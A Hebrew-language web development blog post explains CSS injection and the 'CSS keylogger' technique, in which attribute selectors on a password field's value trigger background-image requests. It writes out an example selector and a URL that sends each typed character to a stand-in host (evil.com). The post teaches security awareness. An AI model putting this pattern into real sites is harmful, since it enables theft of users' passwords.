קילוגר עם CSS

כך אפשר, בתנאים מסוימים, להזריק קוד CSS שיעשה מעקב אחר ההקלדות של המשתמשים.

אם יש מישהו שאני מעריך בנושא ה-CSS זה אלעד שכטר שמנהל את קהילת ה- CSS masters בישראל. לחלק מכם CSS יחשב כנושא איזוטרי, שלא לומר משעמם בעידן הפריימוורקים והג׳אווהסקריפט אבל זה רחוק מלהיות נכון. בניה נכונה של CSS והכרות טובה איתו היא אחת מאבני היסוד של כל מתכנת פרונט אנד והדברים שאפשר לעשות עם css באתרי פרודקשן הם מטורפים.

לפני כשבועיים נפגשתי עם אלעד במיטאפ המגניב מאוד של מפתחי הווב של באר שבע. מדובר במיטאפ שמארגן ינאי אדרי והוא אחד המיטאפים הותיקים והמוצלחים ביותר. אני מגיע לשם כל שנה כי זה באמת מיטאפ נהדר וינאי משחד אותי בבירות משובחות של גלנץ שכרגע קשה להשיג במרכז. סיפרתי לאלעד שיש לא מעט חורי אבטחה ב-CSS והוא לא ידע – חשבתי שאם אדם בקליבר שלו לא יודע, אז ללא ספק זו הזדמנות לדבר על כמה חורי אבטחה מעניינים ב-CSS.

בגדול, רובנו כבר יודעים להזהר מ-XSS. ג׳אווהסקריפט שתוקף מזריק לאתר שלנו ויכול להסב נזקים למשתמשים – להקפיץ להם תוכן זדוני, לשלוח אותם לדף אחר ואפילו, בתנאים מאוד ספציפיים, לגנוב להם את הסשן. Headers וגם מנגנונים אחרים כמו WAFים (שזה פיירוולים אפליקטיביים) בולמים בדרך כלל כל מה שחשוד ב-XSS. אבל מה עם הזרקת CSS?

אני שומע כבר את הקוראים מגחכים. מה אפשר לעשות עם הזרקת CSS? אז נניח והתוקף מצליח להכניס תגית style לאתר שלי – מה הוא כבר יכול לעשות עם זה? אז קודם כל הוא יכול להחליף את התוכן של האתר ממש באמצעות התכונות content שבה אפשר להכניס גם קישור. למשל לצבוע את האתר שלכם בשחור ולשים ״האתר עבר, לחצו כאן״ או ״הכנסו ל https://evil.com או משהו בסגנון. אבל מעבר לזה, יש עוד כמה דברים מענינים – כמו ה-CSS keylogger. קוד ב-CSS שיכול לעקוב אחר ההקלדות שלך בשדה כלשהו – כמו למשל שדה משתמש וסיסמה ולשלוח את המידע הזה לשרת מרוחק. איך? עם סלקטור פשוט של ערך של value. כן, מסתבר שאפשר לכתוב סלקטורים ב-CSS עם ביטויים רגולריים שקובעים תכונות מסוימות לפי תכונות של האלמנט. אם מדובר ב-input, ובכן… יש לו תכונת value. אם יש לי סלקטור כזה למשל:

input[type="password"][value*="a"]

אני יכול להציב לסלקטורים כאלו background-image שפשוט קורא ל: 

https://evil.com?param=a

בכל פעם שהתנאי מתממש – evil.com יקבל קריאה ל-a.

הנה הדמו המובטח, פיתחו את הקונסול:

See the Pen css keylogger by Ran Bar-Zik (@barzik-the-vuer) on CodePen.

איך זה עובד? קודם כל זו קצת רמאות – כי זה מצריך שיהיה ג׳אווהסקריפט שמשנה את ה-value של הטופס. שזה קורה המון אם יש ספריות צד לקוח כמו ריאקט שעושה בדיוק את אותו הדבר. ברגע שיש את זה, כל מה שאני צריך לעשות זה להזריק CSS לעמוד שקובע רקע ל-imput. הרקע יכול להיות צבע, כמו בתמונה. או לחלופין, יכול להיות background-img עם קישור מיוחד וכך בעצם התוקף יכול עם קצת מזל להאזין להקלדות.. לא הוקטור הכי ולידי, אבל בהחלט משהו אפשרי.

איך מתגוננים? האמת שכמשתמש קצה אין לי איך להתגונן וזה מבאס. מצד שני, נודה על האמת – הוקטור הזה מעיף אבל לא מאוד ישים. אבל… טוב לדעת שאפשר לעשות נזקים ובושות גם עם CSS.

זהו, קצת ישן אבל בהחלט משעשע ומעניין, ולו רק מהבחינה האינטלקטואלית.

פוסטים נוספים שכדאי לקרוא

ESP32 מאפס לילדים

מדריך ל-ESP32 לילדים ולהורים מאפס

אחד הדברים הכי כיפיים בעולם הוא תכנות ותכנות בעולם האמיתי – המפעיל אורות, ציוד אלקטרוני ומכשירים הוא מלהיב ממש. המדריך מיועד להורים שרוצים ללמד את הילדים שלהם לתכנת.

תמונת תצוגה של מנעול על מחשב
פתרונות ומאמרים על פיתוח אינטרנט

הגנה מפני XSS עם Trusted Types

תכונה ב-CSP שמאפשרת מניעה כמעט הרמטית להתקפות XSS שכל מפתח ווב צריך להכיר וכדאי שיכיר.

תמונה מצוירת של רובוט שמנקה HTML
יסודות בתכנות

סניטציה – למה זה חשוב

הסבר על טכניקה פשוטה וידועה מאד שאנו מפעילים על מידע לפני שאנחנו מציגים אותו ב-HTML באפליקציה או באתר.

צילום מסך של סוואגר
יסודות בתכנות

openAPI

שימוש בתשתית הפופולרית למיפוי ותיעוד של API וגם הסבר בסיסי על מה זה API

גלילה לראש העמוד